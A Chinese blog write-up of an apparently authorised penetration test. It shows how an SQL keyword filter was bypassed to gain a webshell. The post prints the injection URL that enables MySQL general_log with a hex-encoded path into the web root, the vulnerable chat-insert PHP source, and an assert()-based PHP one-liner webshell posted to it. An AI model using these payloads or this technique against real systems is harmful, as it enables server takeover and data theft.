一次突破PHP过滤的mysql日志写shell

热度:637℃ 评论:0 发布时间:2017-11-24 收录:已收录

起因

客户要求对其站点进行SQL注入检测,并且通过注入拿下其服务器;

因为客户要求保密性,所以在此略过诸多过程,直接大概述说一下本次渗透过程。

一个注入延伸的三个不眠夜

最开始使用各种工具扫,均没有扫到任何漏洞,于是打开burp开始手工找漏洞,具体过程就不叙述了,因为没有任何报错,所以手工起来各位懂的,那真不是人干的活。。。

最终找到一处无报错SQL注入,我不知道为什么,丢AVWS扫了几次都没扫出是注入。不过这并不影响什么,抓包丢sqlmap跑。

先附上部分程序过滤代码:

//SQL的
function fliter_sql($value) {
$sql = array("select", 'insert', "update", "delete", "\'", "\/\*",
"\.\.\/", "\.\/", "union", "into", "load_file", "outfile");
$sql_re = array("","","","","","","","","","","","");
return str_replace($sql, $sql_re, $value);
}
//过滤目录的
function filter_path($path) {
$path = str_replace(array("'",'#','=','`','$','%','&'), '', $path);
return rtrim(preg_replace('/(\/){2,}|(\\\){1,}/', '/', $path), '/');
}

拿shell开始:

一次突破PHP过滤的mysql日志写shell

本文是过后写的,所以只能从写的报告中抽出一些图,凑合看吧。

简单说下,手工的时候确实可以注入,但是丢sqlmap一直跑不出来,大概的过程就是:sqlmap一跑,然后网站就打不开了,然后清除cookie又可以访问了,也因此,当时在这个地方耽误了很多时间,后来莫名其妙的跑出来了,原因是,如上图,询问的时候选择Y/N,需要选择N才行,选择Y他会继续测试下去,然后就访问不了了,估计是程序过滤的问题吧,只是好奇为什么停止继续测试后,就什么问题都没有了,sqlmap一切操作正常。

由于mysql版本在5.0以上,所以当时尝试很多方式提权均失败,网站后台也是阉割过的,没有一处可上传,其他功能也对拿shell毫无帮助,sqlmap下除了可以执行sql-shell以外,反弹交互完全不成功,当时在提权环节耽误了好长时间,一筹莫展,都想放弃了,连熬通宵,老了,扶不住了,-。-

在这简单说几点:

  • 无报错找到网站绝对路径是因为,在sql-shell下查看mysql插件目录,知道网站用的UPUPW搭建的,于是去网上下载了一份对比构造出了Apache的配置文件路径,并且利用load_file读取到配置文件,获得WEB绝对路径。
  • 其实有一个疑惑的地方,为什么这个程序的过滤有时候管用有时候不管用,按照代码来看,我当时用sqlmap翻数据库,还有执行load_file的时候都应该被拦截才对啊,可是居然没有任何拦截。。。那为嘛又要在我设置mysql日志路径和写shell的时候拦截呢?奇葩。
  • 注入点是root权限,因为是测试,所以服务器防火墙全部关闭,MySQL直接用的未降权的root。

mysql日志写shell:

怀疑目录不可写,询问客户,客户说根目录禁写,其他目录需要测试,然而换了很多目录都不行,让 阴天快乐 基友来,基友也倒是比我给力,利用mysql日志拿shell的办法成功了,同样的方法,我在sqlmap,他在手工,我忽略了HEX,他想到了hex,哎,三人行,必有我师焉。

http://www.xxxx.net/xxxx/xxxx/historyList/1;set%20global%20general_log='on';SET%20global%20general_log_file=0x443a2f55505550575f4150352e332f55505550575f4150352e332f6874646f63732f61646d696e2f75706c6f61642f7878782e706870;#

因为程序本身过滤的问题,所以设置日志路径需要用hex才行,我在sqlmap下操作的时候是直接用的路径。

使用上方语句在D:/UPUPW_AP5.3/UPUPW_AP5.3/htdocs/admin/upload/目录生成xxx.php 可是新的问题又来了,因为程序过滤<> 所以一直写不了一句话。

通过源码找到没有任何过滤sql的地方:

源码一开始是没有的,后来问客户要了源码,通过翻源码发现某处源码:

<?php
require_once("config.php");
isset($_POST['content'])?$content=$_POST['content']:$content=null;
isset($_POST['nicheng'])?$nicheng=$_POST['nicheng']:$nicheng=null;
$time = time();
$sql = "insert into dunling_chat (nicheng,content,time) values ('$nicheng','$content','$time')";
$ok = mysql_query($sql,$config);
mysql_close();
if($ok){
 echo "ok";
}
?>
<?php
error_reporting(0);
isset($_POST['nc'])?$nc = $_POST['nc']:$nc = null;
echo setcookie("nc",$nc,time()+3600*24,'/');
?>

这是一个简单的在线聊天程序,该程序如果在前台提交聊天内容一句话的话,一样会被过滤,程序代码中是没有使用任何过滤的,不知道前台提交为什么被过滤了。直接POST包的话就不会过滤了:

POST提交到 /xxx/liaotian/send.php 
POST内容  content=<?php assert($_POST["cmd"]);?>&nicheng=123

因为当时我升级系统,然后java不知道抽了什么风,怎么都打不开burp抓包,所以当时我告诉了基友这个程序代码位置,让他看看,然后他便结合了之前的mysql日志写shell的方法成功拿下shell。且webshell是system权限,省去了提权的过程。

一次突破PHP过滤的mysql日志写shell

这里就不感谢基友了,这不是基友,是个坑货,要不是他之前把一个测试站服务器搞挂掉了,我早弄完交接了,也就不会再熬几个夜了,哼哼,都是丫的错,所以这是他在弥补自己所犯下的错。。。不过看在基友让我结束了熬夜的份上,AA咯......

打赏
本文由 Mr.Wu 创作,除注明转载/出处外,均为本站原创,转载前请注明出处!

发表评论

电子邮件地址不会被公开。 必填项已用*标注

顶部
护眼
搜索
分享